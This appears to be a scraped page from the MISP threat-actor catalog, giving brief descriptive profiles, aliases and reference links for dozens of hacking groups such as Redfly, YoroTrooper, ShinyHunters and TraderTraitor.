https://www.trendmicro.com/en_us/research/22/k/hack-the-real-box-apt41-new-subgroup-earth-longzhi.html

Redfly

Redfly hacked a national electricity grid organization in Asia and maintained persistent access to the network for about six months. Researchers discovered evidence for this attack between 28 February and 3 August 2023 after noticing suspicious malware activity within the organization's network.

The tag is: *misp-galaxy:threat-actor="Redfly"*

Table 18532. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/critical-infrastructure-attacks
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-power-suppliers-network-infiltrated-for-6-months-by-redfly-hackers-active-iocs/

TetrisPhantom

TetrisPhantom relies on compromising of certain type of secure USB drives that provide hardware encryption and is commonly used by government organizations. While investigating this threat, experts identified an entire spying campaign that uses a range of malicious modules to execute commands, collect files and information from compromised computers and transfer them to other machines also using secure USB drives.

The tag is: *misp-galaxy:threat-actor="TetrisPhantom"*

Table 18533. Table References

Links
https://usa.kaspersky.com/blog/sas-2023-research/29254/
https://securelist.com/apt-trends-report-q3-2023/110752/

Earth Estries

Trend Micro found that Earth Estries relies heavily on DLL sideloading to load various tools within its arsenal. Aside from the backdoors previously mentioned, this intrusion set also utilizes commonly used remote control tools like Cobalt Strike, PlugX, or Meterpreter stagers interchangeably in various attack stages. These tools come as encrypted payloads loaded by custom

loader DLLs.

The tag is: *misp-galaxy:threat-actor="Earth Estries"*

View relationships graph

Earth Estries has relationships with:

- similar: misp-galaxy:threat-actor="GhostEmperor" with estimative-language:likelihood-probability="likely"

Table 18534. Table References

Links
https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html
https://www.sentinelone.com/labs/cyber-soft-power-chinas-continental-takeover/

GoldenJackal

GoldenJackal activity is characterized by the use of compromised WordPress websites as a method to host C2-related logic. Kaspersky believes the attackers upload a malicious PHP file that is used as a relay to forward web requests to another backbone C2 server. They developed a collection of .NET malware tools known as Jackal.

The tag is: *misp-galaxy:threat-actor="GoldenJackal"*

Table 18535. Table References

Links
https://securelist.com/it-threat-evolution-q2-2023/110355/
https://securelist.com/goldenjackal-apt-group/109677/
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html

Lancefly

Lancefly targets government, aviation, and telecom organizations in South and Southeast Asia. They use a custom backdoor named Merdoor, developed since 2018, and employ various tactics to gain access, including phishing emails, SSH credential brute-forcing, and exploiting server vulnerabilities. Additionally, Lancefly has been observed using a newer version of the ZXShell rootkit and tools like PlugX and ShadowPad RAT, which are typically associated with Chinese-speaking APT groups.

The tag is: *misp-galaxy:threat-actor="Lancefly"*

Table 18536. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lancefly-merdoor-zxshell-custom-backdoor

LofyGang

LofyGang has been found to be linked to more than 200 malicious packages, with thousands of installations throughout 2022. The group, believed to have been operating for more than a year, has multiple hacking objectives, including stealing credit card information and stealing user accounts including Discord Inc. premium accounts, streaming services accounts such as Disney+ and Minecraft accounts.

The tag is: *misp-galaxy:threat-actor="LofyGang"*

Table 18537. Table References

Links
https://checkmarx.com/blog/lofygang-software-supply-chain-attackers-organized-persistent-and-operating-for-over-a-year/

Storm-0062

The cyberattack campaign that Microsoft uncovered was launched by a China-linked hacking group called Storm-0062. According to the company, the group is launching cyberattacks by exploiting a vulnerability in the Data Center and Server editions of Confluence. Those are versions of the application that companies run on-premises.

The tag is: *misp-galaxy:threat-actor="Storm-0062"*

Storm-0062 is also known as:

- Oro0lxy
- DarkShadow

Table 18538. Table References

Links
https://techcommunity.microsoft.com/t5/microsoft-365-defender-blog/monthly-news-november-2023/ba-p/3970796
https://www.sentinelone.com/blog/the-good-the-bad-and-the-ugly-in-cybersecurity-week-41-5/
https://twitter.com/MsftSecIntel/status/1711871732644970856

SparklingGoblin

ESET researchers have discovered a new undocumented modular backdoor, SideWalk, being used by an APT group they've named SparklingGoblin; this backdoor was used during one of

SparklingGoblin's recent campaigns that targeted a computer retail company based in the USA. This backdoor shares multiple similarities with another backdoor used by the group: CROSSWALK.

The tag is: *misp-galaxy:threat-actor="SparklingGoblin"*

Table 18539. Table References

Links
https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/

Kasablanka

The Kasablanka group is a cyber-criminal organization that has specifically targeted Russia between September and December 2022, using various payloads delivered through phishing emails containing socially engineered lnk files, zip packages, and executables attached to virtual disk image files.

The tag is: *misp-galaxy:threat-actor="Kasablanka"*

Table 18540. Table References

Links
https://blog.talosintelligence.com/yorotrooper-espionage-campaign-cis-turkey-europe/
https://www.welivesecurity.com/2021/09/07/bladehawk-android-espionage-kurdish/
https://blog.talosintelligence.com/get-a-loda-this/

YoroTrooper

YoroTrooper's main targets are government or energy organizations in Azerbaijan, Tajikistan, Kyrgyzstan and other Commonwealth of Independent States, based on Cisco Talos analysis. YoroTrooper was also observed compromising accounts from at least two international organizations: a critical European Union health care agency and the World Intellectual Property Organization. Successful compromises also included Embassies of European countries including Azerbaijan and Turkmenistan.

The tag is: *misp-galaxy:threat-actor="YoroTrooper"*

YoroTrooper is also known as:

- Salted Earth
- Sturgeon Fisher
- ShadowSilk
- Silent Lynx
- Cavalry Werewolf
- SturgeonPhisher
- Comrade Saiga

Table 18541. Table References

Links
https://blog.talosintelligence.com/attributing-yorotrooper/
https://blog.talosintelligence.com/yorotrooper-espionage-campaign-cis-turkey-europe/
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html
https://www.group-ib.com/blog/shadowsilk/
https://www.seqrite.com/blog/silent-lynx-apt-targeting-central-asian-entities/
https://bi-zone.medium.com/cavalry-werewolf-raids-russias-public-sector-with-trusted-relationship-attacks-e19f7a5c83ef
https://www.seqrite.com/blog/operation-peek-a-baku-silent-lynx-apt-dushanbe-espionage/
https://ctoatncsc.substack.com/p/cto-at-ncsc-summary-week-ending-october

Metador

Metador primarily targets telecommunications, internet service providers, and universities in several countries in the Middle East and Africa. Metador's attack chains are designed to bypass native security solutions while deploying malware platforms directly into memory. SentinelLabs researchers discovered variants of two long-standing Windows malware platforms, and indications of an additional Linux implant.

The tag is: *misp-galaxy:threat-actor="Metador"*

Table 18542. Table References

Links
https://www.sentinelone.com/labs/the-mystery-of-metador-unpicking-mafaldas-anti-analysis-techniques/
https://www.sentinelone.com/labs/the-mystery-of-metador-an-unattributed-threat-hiding-in-telcos-isps-and-universities/

SiegedSec

SiegedSec, a hacktivist collective, emerged coincidentally just days before Russia's invasion of Ukraine. Under the leadership of the hacktivist known as "YourAnonWolf," the group swiftly gained strength, announcing an increasing number of victims after its inception. The group humorously self-identifies as "gay furry hackers" and is renowned for its comical slogans and the use of vulgar language. SiegedSec has affiliations with other hacker groups like GhostSec and typically consists of members aged between 18 and 26.

The tag is: *misp-galaxy:threat-actor="SiegedSec"*

Table 18543. Table References

Links
https://therecord.media/nato-siegedsec-unclassified-websites-alleged-cyberattack
https://socradar.io/threat-actor-profile-siegedsec/
https://socradar.io/the-five-families-hacker-collaboration-redefining-the-game/
https://therecord.media/fort-worth-officials-say-leaked-data-was-public
https://webz.io/dwp/exclusive-hacktivists-attack-anti-abortion-u-s-states/
https://www.darkowl.com/blog-content/darkowl-threat-actor-spotlight-siegedsec-and-leaked-data/

RansomVC

Ransomed.VC burst onto the scene with a well-orchestrated PR campaign, encompassing a clearnet site and multiple communication channels including Telegram and Twitter/X profiles. Their operations are heavily inclined towards exploiting GDPR penalties as a method of extortion, threatening victims with potential legal repercussions in case of data leaks.

The tag is: *misp-galaxy:threat-actor="RansomVC"*

RansomVC is also known as:

- Ransomed.vc

Table 18544. Table References

Links
https://therecord.media/colonial-pipeline-attributes-ransomware-claims-to-unrelated-third-party-breach
https://socradar.io/on-the-horizon-ransomed-vc-ransomware-group-spotted-in-the-wild/
https://www.sentinelone.com/blog/sep-2023-cybercrime-update-new-ransomware-threats-and-the-rising-menace-of-telegram/
https://socradar.io/unmasking-usdod-the-enigma-of-the-cyber-realm/
https://www.videogameschronicle.com/news/a-ransomware-group-claims-to-have-beached-all-sony-systems/
https://securityaffairs.com/151550/data-breach/ransomed-vc-sony-ntt-alleged-attacks.html
https://blog.talosintelligence.com/threat-source-newsletter-sept-28-2023/
https://www.resecurity.com/blog/article/ransomedvc-in-the-spotlight-what-we-know-about-the-ransomware-group-targeting-major-japanese-businesses

Carderbee

Symantec recently reported on activity attributed to a threat actor group dubbed Carderbee. In the campaign, the threat actors target entities in Hong Kong and other regions of Asia via a supply chain attack leveraging the legitimate Cobra DocGuard software. The activity began as early as September 2022.

The tag is: *misp-galaxy:threat-actor="Carderbee"*

Table 18545. Table References

Links
https://blog.eclecticiq.com/chinese-state-sponsored-cyber-espionage-activity-targeting-semiconductor-industry-in-east-asia
https://blog.polyswarm.io/carderbee-targets-hong-kong-in-supply-chain-attack
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/carderbee-software-supply-chain-certificate-abuse

UNC3890

A suspected Iranian threat activity cluster has been linked to attacks aimed at Israeli shipping, government, energy, and healthcare organizations, in a campaign stretching back to late 2020. Researchers believe that the data harvested during the campaign could be used to support various activities. UNC3890, the threat actor behind the attacks, deployed two proprietary pieces of malware – a backdoor named “SUGARUSH” and a browser credential stealer called “SUGARDUMP”, which exfiltrates password information to email addresses registered with Gmail, ProtonMail, Yahoo and Yandex email services. The threat actor also employs a network of C&C servers that host fake login pages impersonating legitimate platforms such as Office 365, LinkedIn and Facebook. These servers are designed to communicate with the targets and also with a watering hole hosted on the login page of a legitimate Israeli shipping company.

The tag is: *misp-galaxy:threat-actor="UNC3890"*

Table 18546. Table References

Links
https://ics-cert.kaspersky.com/publications/reports/2023/03/24/apt-attacks-on-industrial-organizations-in-h2-2022/
https://www.mandiant.com/resources/suspected-iranian-actor-targeting-israeli-shipping

RedStinger

In October 2022, Kaspersky identified an active infection of government, agriculture and transportation organizations located in the Donetsk, Lugansk, and Crimea regions. Although the initial vector of compromise is unclear, the details of the next stage imply the use of spear phishing or similar methods. The victims navigated to a URL pointing to a ZIP archive hosted on a malicious web server.

The tag is: *misp-galaxy:threat-actor="RedStinger"*

RedStinger is also known as:

- Bad Magic

Table 18547. Table References

Links
https://www.malwarebytes.com/blog/threat-intelligence/2023/05/redstinger
https://securelist.com/bad-magic-apt/109087/

Witchetty

Witchetty was first documented by ESET in April 2022, who concluded that it was one of three sub-groups of TA410, a broad cyber-espionage operation with some links to the Cicada group (aka APT10). Witchetty's activity was characterized by the use of two pieces of malware, a first-stage backdoor known as X4 and a second-stage payload known as LookBack. ESET reported that the group had targeted governments, diplomatic missions, charities, and industrial/manufacturing organizations.

The tag is: *misp-galaxy:threat-actor="Witchetty"*

Witchetty is also known as:

- LookingFrog

Table 18548. Table References

Links
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-witchetty-apt-group-active-iocs
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/witchetty-steganography-espionage
https://www.welivesecurity.com/2022/04/27/lookback-ta410-umbrella-cyberespionage-ttps-activity/

NB65

Network Battalion 65 is an hactivist group with ties to Anonymous, known for attacking Russian companies and performing hack-and-leak operations.

The tag is: *misp-galaxy:threat-actor="NB65"*

NB65 is also known as:

- Network Battalion 65

Table 18549. Table References

Links
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-leaked-conti-ransomware-used-to-target-russia-active-iocs
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/growling-bears-make-thunderous-noise.html
https://securelist.com/reassessing-cyberwarfare-lessons-learned-in-2022/108328/

https://www.rewterz.com/articles/russian-ukrainian-cyber-warfare-rewterz-threat-intelligence-rollup
https://www.hackread.com/anonymous-affiliate-nb65-russia-broadcaster-data-breach/

IndigoZebra

IndigoZebra is a Chinese state-sponsored actor mentioned for the first time by Kaspersky in its APT Trends report Q2 2017, targeting, at the time of its discovery, former Soviet Republics with multiple malware strains including Meterpreter, Poison Ivy, xDown, and a previously unknown backdoor called “xCaon.”

The tag is: *misp-galaxy:threat-actor="IndigoZebra"*

Table 18550. Table References

Links
https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/
https://www.rewterz.com/rewterz-news/rewterz-threat-intel-indigozebra-apt-group-targeting-central-asia-active-iocs
https://securelist.com/apt-trends-report-q2-2017/79332/

GhostSec

GhostSec is a hacktivist group that emerged as an offshoot of Anonymous. They primarily focused on counterterrorism efforts and monitoring online activities associated with terrorism. They gained prominence following the 2015 Charlie Hebdo shooting in Paris and the rise of ISIS.

The tag is: *misp-galaxy:threat-actor="GhostSec"*

GhostSec is also known as:

- Ghost Security

Table 18551. Table References

Links
https://www.uptycs.com/blog/ghostlocker-ransomware-ghostsec
https://forescoutstage.wpengine.com/blog/the-increasing-threat-posed-by-hacktivist-attacks-an-analysis-of-targeted-organizations-devices-and-ttps/

OilAlpha

OilAlpha has almost exclusively relied on infrastructure associated with the Public Telecommunication Corporation (PTC), a Yemeni government-owned enterprise reported to be under the direct control of the Houthi authorities. OilAlpha used encrypted chat messengers like

WhatsApp to launch social engineering attacks against its targets. It has also used URL link shorteners. Per victimology assessment, it appears a majority of the targeted entities were Arabic-language speakers and operated Android devices.

The tag is: *misp-galaxy:threat-actor="OilAlpha"*

Table 18552. Table References

Links
https://www.zimperium.com/blog/zimperium-mtd-against-oilalpha-a-comprehensive-defense-strategy/
https://www.recordedfuture.com/oilalpha-likely-pro-houthi-group-targeting-arabian-peninsula

HiddenArt

It was observed that a mobile network threat actor designated as 'HiddenArt' actively sustains a capacity to remotely access the personal devices of targeted individuals around the world on an ongoing basis. Since detecting this threat actor, periodic reconnaissance activities were observed in at least 7 target mobile networks around the world and given the wide geographic distribution of these targeted mobile operators, it is probable that the threat actor is active on a global scale.

The tag is: *misp-galaxy:threat-actor="HiddenArt"*

Table 18553. Table References

Links
https://www.enea.com/insights/the-hunt-for-hiddenart/

REF5961

Elastic's security team has published a report on REF5961, a cyber-espionage group they found on the network of a Foreign Affairs Ministry from a member of the Association of Southeast Asian Nations (ASEAN). Elastic says it found the group's tools next to the malware of another cyber-espionage group it tracks as REF2924. REF5961's arsenal includes malware such as EAGERBEE, RUDEBIRD, and DOWNTOWN.

The tag is: *misp-galaxy:threat-actor="REF5961"*

Table 18554. Table References

Links
https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set
https://www.elastic.co/security-labs/disclosing-the-bloodalchemy-backdoor

REF2924

A group monitored as REF2924 by Elastic Security Labs is wielding novel data-stealing malware —

an HTTP listener written in C# dubbed Naplistener by the researchers — in attacks against victims operating in southern and southeast Asia.According to a blog post by Elastic senior security research engineer Remco Sprooten, in that region of the world, network-based detection and prevention technologies are the de facto method for securing many environments.

The tag is: *misp-galaxy:threat-actor="REF2924"*

Table 18555. Table References

Links
https://www.elastic.co/security-labs/ref2924-howto-maintain-persistence-as-an-advanced-threat
https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set

Storm-1133

In early 2023, Microsoft In early 2023, observed a wave of activity from a Gaza-based group that we track as Storm-1133 targeting Israeli private sector energy, defense, and telecommunications organizations.

The tag is: *misp-galaxy:threat-actor="Storm-1133"*

Table 18556. Table References

Links
https://www.microsoft.com/en-us/security/security-insider/microsoft-digital-defense-report-2023
https://therecord.media/hacktivists-take-sides-israel-palestinian

TA499

TA499, also known as Vovan and Lexus, is a Russia-aligned threat actor that has aggressively engaged in email campaigns since at least 2021. The threat actor's campaigns attempt to convince high-profile North American and European government officials as well as CEOs of prominent companies and celebrities into participating in recorded phone calls or video chats.

The tag is: *misp-galaxy:threat-actor="TA499"*

TA499 is also known as:

- Vovan
- Lexus

Table 18557. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/dont-answer-russia-aligned-ta499-beleaguers-targets-video-call-requests

BadRory

Kaspersky researchers have identified a new APT group named BadRory that has mounted two waves of spear-phishing attacks against Russian organizations. The campaigns took place in October 2022 and April 2023 and leveraged boobytrapped Office emails. Targets included government entities, military contractors, universities, and hospitals.

The tag is: *misp-galaxy:threat-actor="BadRory"*

Table 18558. Table References

Links
https://securelist.com/apt-trends-report-q3-2023/110752/

SharpPanda

SharpPanda, an APT group originating from China, has seen a rise in its cyber-attack operations starting from at least 2018. The APT group utilizes spear-phishing techniques to obtain initial access, employing a combination of outdated Microsoft Office document vulnerabilities, novel evasion techniques, and highly potent backdoor malware.

The tag is: *misp-galaxy:threat-actor="SharpPanda"*

SharpPanda is also known as:

- Sharp Dragon

Table 18559. Table References

Links
https://blog.cyble.com/2023/06/01/sharppanda-apt-campaign-expands-its-arsenal-targeting-g20-nations/
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-sharppanda-chinese-apt-group-targets-southeast-asian-government-active-iocs
https://research.checkpoint.com/2021/chinese-apt-group-targets-southeast-asian-government-with-previously-unknown-backdoor/
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html
https://research.checkpoint.com/2024/sharp-dragon-expands-towards-africa-and-the-caribbean/

Guacamaya

Guacamaya has conducted multiple hack and leak campaigns against military and police agencies and mining companies across Latin America, which they believe have played a role in the region's environmental degradation and repression of native populations.

The tag is: *misp-galaxy:threat-actor="Guacamaya"*

Table 18560. Table References

Links
https://cyberscoop.com/environmentalist-hacktivist-collective-mining-company/
https://srslyriskybiz.substack.com/p/recent-cyber-chaos-is-a-structural
https://finance.yahoo.com/news/analysis-mexico-data-hack-exposes-003101651.html
https://www.redpacketsecurity.com/guacamaya-hacktivists-stole-sensitive-data-from-mexico-and-latin-american-countries/
https://research.checkpoint.com/2022/3rd-october-threat-intelligence-report/
https://www.cyberscoop.com/central-american-hacking-group-releases-emails/
https://therecord.media/mexican-army-spyware

DustSquad

Prodaft researchers have published a report on Paperbug, a cyber-espionage campaign carried out by suspected Russian-speaking group Nomadic Octopus and which targeted entities in Tajikistan. According to Prodaft, known compromised victims included high-ranking government officials, telcos, and public service infrastructures. Compromised devices also included OT devices, besides your typical computers, servers, and mobile devices. In typical Prodaft fashion, the company also gained access to one of the group's C&C server backend panels.

The tag is: *misp-galaxy:threat-actor="DustSquad"*

DustSquad is also known as:

- Nomadic Octopus

Table 18561. Table References

Links
https://securelist.com/octopus-infested-seas-of-central-asia/88200/
https://www.prodaft.com/m/reports/PAPERBUG_TLPWHITE-1.pdf
https://www.virusbulletin.com/conference/vb2018/abstracts/nomadic-octopus-cyber-espionage-central-asia/

KromSec

KromSec is a hacktivist group that claims to be composed of hackers, activists, writers, and journalists. The group has been involved in a number of high-profile cyberattacks, including a cyber offensive against Iran in September 2022 and the sale of the database of the Iran Ministry of Industries and Mines on a hacker forum in November 2023. KromSec's attacks have been met with mixed reactions, but the group has quickly made a name for itself as a significant threat to governments and organizations around the world.

The tag is: *misp-galaxy:threat-actor="KromSec"*

Table 18562. Table References

Links
https://thecyberexpress.com/kromsec-sells-iran-ministry-database-dark-web/
https://cybershafarat.com/2022/11/17/kromsec-outs-anonopsse-as-iranian-regime-makes-statement/

Cyber Av3ngers

The hacktivist group 'Cyber Av3ngers' has historically claimed attacks on Israel's critical infrastructures. It has been launching DDoS attacks and claiming breach of Israeli networks with supporting data leaks.

The tag is: *misp-galaxy:threat-actor="Cyber Av3ngers"*

Table 18563. Table References

Links
https://securelist.com/a-hack-in-hand-is-worth-two-in-the-bush/110794/
https://cyberwarzone.com/cyber-av3ngers-claims-infiltration-of-israeli-water-treatment-stations-amid-ongoing-conflict/
https://cyberwarzone.com/hacking-group-cyber-av3ngers-claims-responsibility-for-yavne-power-outages-what-you-need-to-know/

Altahrea Team

Altahrea Team is a pro-Iranian hacking group that has been active since at least 2020. The group has claimed responsibility for a number of cyberattacks, including DDoS attacks against Israeli websites, a hack of the Israel Airports Authority website, and a cyberattack on the Orot Yosef power plant in Israel.

The tag is: *misp-galaxy:threat-actor="Altahrea Team"*

Table 18564. Table References

Links
https://securelist.com/ddos-attacks-in-q2-2022/107025/
https://www.timesofisrael.com/cyberattack-on-health-ministry-website-blocks-overseas-access/
https://techmonitor.ai/technology/cybersecurity/alahrea-team-power-plant-fire-israel
https://www.presstv.ir/Detail/2022/07/27/686324/Iraqi-hacker-group—ALtahrea-Team—targets-Israeli-IT,-e-commerce-companies-with-major-cyber-attack
https://www.hackread.com/pro-iran-altahrea-hit-port-of-london-website-ddos-attack/
https://nsi-globalcounterintelligence.com/cyber-security/pro-iran-hackers-target-israel-airports-authority-website/

1937CN

1937CN is a Chinese hacking group that has been active since at least 2013. The group is known for targeting Vietnamese organizations, including government agencies, businesses, and media outlets. 1937CN has been linked to a number of high-profile cyberattacks, including the hacking of Vietnam Airlines in 2016 and the defacement of Vietnamese government websites in 2015.

The tag is: *misp-galaxy:threat-actor="1937CN"*

Table 18565. Table References

Links
https://www.trendmicro.com/en_us/research/23/b/earth-zhulong-familiar-patterns-target-southeast-asian-firms.html
https://www.recordedfuture.com/international-hacktivism-analysis/
http://securityaffairs.co/wordpress/49876/hacking/china-1937cn-team-vietnam.html
https://medium.com/@Sebdraven/malicious-document-targets-vietnamese-officials-acb3b9d8b80a

ShroudedSnooper

In September 2023, Cisco Talos identified a new malware family that it calls ‘HTTPSnoop’ being deployed against telecommunications providers in the Middle East. They also discovered a sister implant to 'HTTPSnoop,’ that they are naming ‘PipeSnoop,’ which can accept arbitrary shellcode from a named pipe and execute it on the infected endpoint. Based on these findings, the researchers assess with high confidence that both implants belong to a new intrusion set that it named ‘ShroudedSnooper.’

The tag is: *misp-galaxy:threat-actor="ShroudedSnooper"*

Table 18566. Table References

Links
https://blog.talosintelligence.com/introducing-shrouded-snooper/
https://www.sentinelone.com/labs/the-israel-hamas-war-cyber-domain-state-sponsored-activity-of-interest/

ShinyHunters

ShinyHunters is a cybercriminal group of unknown origin that is motivated by financial gain. The group is known for its sophisticated attacks against a wide range of targets, including businesses, organizations, and government agencies. ShinyHunters typically uses phishing attacks and exploit kits to gain access to victim networks, where they deploy malware to steal sensitive data, such as names, addresses, phone numbers, Social Security numbers, and credit card information.

The tag is: *misp-galaxy:threat-actor="ShinyHunters"*

Table 18567. Table References

Links
https://cyberwarzone.com/shinyhunters-22-year-old-member-pleads-guilty-to-cyber-extortion-causing-6-million-in-damage/
https://www.bitdefender.com/blog/hotforsecurity/pizza-hut-australia-leaks-one-million-customers-details-claims-shinyhunters-hacking-group/
https://www.justice.gov/usao-wdwa/pr/alleged-french-cybercriminal-appear-seattle-indictment-conspiracy-computer-intrusion

IronHusky

IronHusky is a Chinese-based threat actor first attributed in July 2017 targeting Russian and Mongolian governments, as well as aviation companies and research institutes. Since their initial attacks ceased in 2018, they have been working on a new remote access trojan dubbed MysterySnail.

The tag is: *misp-galaxy:threat-actor="IronHusky"*

Table 18568. Table References

Links
https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/
https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk175885

UserSec

UserSec is a pro-Russian hacking group that has been active since at least 2022. The group is known for its DDoS attacks and has collaborated with other pro-Russian hacking groups. In May 2023, UserSec announced a cyber campaign targeting NATO member states and joined forces with KillNet to launch attacks against NATO.

The tag is: *misp-galaxy:threat-actor="UserSec"*

Table 18569. Table References

Links
https://therecord.media/scandinavian-airlines-cyberattack-anonymous-sudan/
https://blog.cyble.com/2023/05/24/notable-ddos-attack-tools-and-services-supporting-hacktivist-operations-in-2023/
https://socradar.io/cyber-shadows-pact-darknet-parliament-killnet-anonymous-sudan-revil/
https://socradar.io/dark-peep-2-war-and-a-piece-of-hilarity/

UAC-0094

State Service of Special Communication and Information Protection of Ukraine spotted a new wave of cyber attacks aimed at gaining access to users' Telegram accounts. The Ukrainian CERT attributes the hacking campaign to threat actors tracked as UAC-0094. Threat actors are targeting Telegram users by sending Telegram messages with malicious links to the Telegram website in order to gain unauthorized access to the records and transfer a one-time code from SMS.

The tag is: *misp-galaxy:threat-actor="UAC-0094"*

Table 18570. Table References

Links
https://cert.gov.ua/article/39253
https://vulners.com/thn/THN:4C1C2CD10F20E08DD74D465450DF3F17?utm_source=rss&utm_medium=rss&utm_campaign=rss

TraderTraitor

TraderTraitor targets blockchain companies through spear-phishing messages. The group sends these messages to employees, particularly those in system administration or software development roles, on various communication platforms, intended to gain access to these start-up and high-tech companies. TraderTraitor may be the work of operators previously responsible for APT38 activity.

The tag is: *misp-galaxy:threat-actor="TraderTraitor"*

TraderTraitor is also known as:

- Jade Sleet
- UNC4899
- Pukchong

View relationships graph

TraderTraitor has relationships with:

- similar: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"

Table 18571. Table References

Links
https://www.mandiant.com/resources/blog/north-korea-supply-chain
https://us-cert.cisa.gov/ncas/alerts/aa22-108a
https://www.mandiant.com/resources/blog/north-korea-cyber-structure-alignment-2023
https://cloud.google.com/blog/topics/threat-intelligence/cyber-threats-targeting-brazil

TheDarkOverlord

The Dark Overlord is a financially motivated ransomware group that has been active since 2016. The group is known for targeting large organizations, including Netflix, ABC, and Miramax.

The tag is: *misp-galaxy:threat-actor="TheDarkOverlord"*

Table 18572. Table References

Links
https://www.databreaches.net/peachtree-orthopedics-alerts-patients-of-cyberattack-third-patient-data-breach-in-seven-years/
http://securityaffairs.co/wordpress/64782/data-breach/london-bridge-plastic-surgery-hack.html
http://www.csoonline.com/article/3193397/security/no-netflix-is-not-a-victim-of-ransomware.html

UNC2565

UNC2565 is a threat group that has used the GOOTLOADER downloader to deliver Cobalt Strike BEACON. These intrusions have stemmed from victims accessing malicious websites that use SEO techniques to improve Google search rankings. After obtaining a foothold in the environment, UNC2565 has conducted reconnaissance and credential harvesting activity using common tools such as BLOODHOUND and KERBEROAST. UNC2565's motivations are currently unknown but overlaps with activity that has led to SODINOKIBI ransomware. This suggests that the threat group may be financially motivated.

The tag is: *misp-galaxy:threat-actor="UNC2565"*

UNC2565 is also known as:

- Hive0127

Table 18573. Table References

Links
https://www.mandiant.com/resources/blog/tracking-evolution-gootloader-operations
https://socradar.io/new-gootloader-variant-gootbot-changes-the-game-in-malware-tactics/
https://securityintelligence.com/x-force/gootbot-gootloaders-new-approach-to-post-exploitation/

Desorden Group

Desorden (Disorder in Spanish, previously known as ChaosCC), is a financially motivated hacker group. The group first emerged under the new name Desorden in September 2021, on Raidforums. Today the group maintains users under that name on several popular English-speaking hacking forums, where they share their attacks and ransom demands, and offer databases for sale. The group gained an excellent reputation among the cybercriminal communities due to their successful operations and the unique data that they share and offer for sale.

The tag is: *misp-galaxy:threat-actor="Desorden Group"*

Table 18574. Table References

Links
https://www.databreaches.net/major-malaysian-water-utilities-company-hit-by-hackers-ranhill-offline-hackers-claim-databases-and-backups-deleted/
https://www.databreaches.net/one-month-later-ranhill-still-hasnt-fully-recovered-from-cyberattack/
https://www.databreaches.net/malaysian-online-stock-brokerage-firm-victim-of-cyberattack/
https://www.databreaches.net/johnson-fitness-and-wellness-hit-by-desorden-group/
https://www.databreaches.net/thailands-the-icon-group-hacked-by-desorden/
https://www.databreaches.net/customer-data-from-hundreds-of-indonesian-and-malaysian-restaurants-hacked-by-desorden/
https://www.databreaches.net/major-indonesia-tollroad-operator-hacked-by-desorden/
https://www.databreaches.net/recent-cyberattacks-put-thai-citizens-privacy-and-data-security-at-greater-risk/
https://www.databreaches.net/thai-entities-continue-to-fall-prey-to-cyberattacks-and-leaks/
https://seclists.org/dataloss/2021/q4/81

Confucious

Confucius is an APT organization funded by India. It has been carrying out cyber attacks since 2013. Its main targets are India's neighbouring countries such as Pakistan and China. It has a strong interest in targets in the fields of military, government and energy.

The tag is: *misp-galaxy:threat-actor="Confucious"*

Table 18575. Table References

Links
https://medium.com/@knownsec404team/apt-k-47-mysterious-elephant-a-new-apt-organization-in-south-asia-5c66f954477
https://blog.nsfocus.net/aptconfuciuspakistanibo/

Kiss-a-Dog

CrowdStrike identified a cryptojacking campaign targeting vulnerable Docker and Kubernetes infrastructure. Called "Kiss-a-dog," the campaign targets Docker and Kubernetes infrastructure using an obscure domain from the payload, container escape attempt and anonymized "dog" mining pools.

The tag is: *misp-galaxy:threat-actor="Kiss-a-Dog"*

Table 18576. Table References

Links
https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/

DEV-1028

Microsoft reported on MCCrash, an IoT botnet operated by the DEV-1028 threat actor and used to launch DDoS attacks against private Minecraft servers.

The tag is: *misp-galaxy:threat-actor="DEV-1028"*

Table 18577. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/12/15/mccrash-cross-platform-ddos-botnet-targets-private-minecraft-servers/

TwoSail Junk

TwoSail Junk directs visitors to its exploit site by posting links within the threads of forum discussions, or creating new topic threads of their own. To date, dozens of visits were recorded from within Hong Kong, with a couple from Macau. The technical details around the functionality of the iOS implant, called LightSpy, and related infrastructure, reveal a low-to-mid capable actor. However, the iOS implant is a modular and exhaustively functional iOS surveillance framework.

The tag is: *misp-galaxy:threat-actor="TwoSail Junk"*

TwoSail Junk is also known as:

- Operation Poisoned News

Table 18578. Table References

Links
https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/
https://securelist.com/apt-annual-review-what-the-worlds-threat-actors-got-up-to-in-2020/99574/
https://www.redpacketsecurity.com/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/?utm_source=rss&utm_medium=rss&utm_campaign=operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links

Xcatze

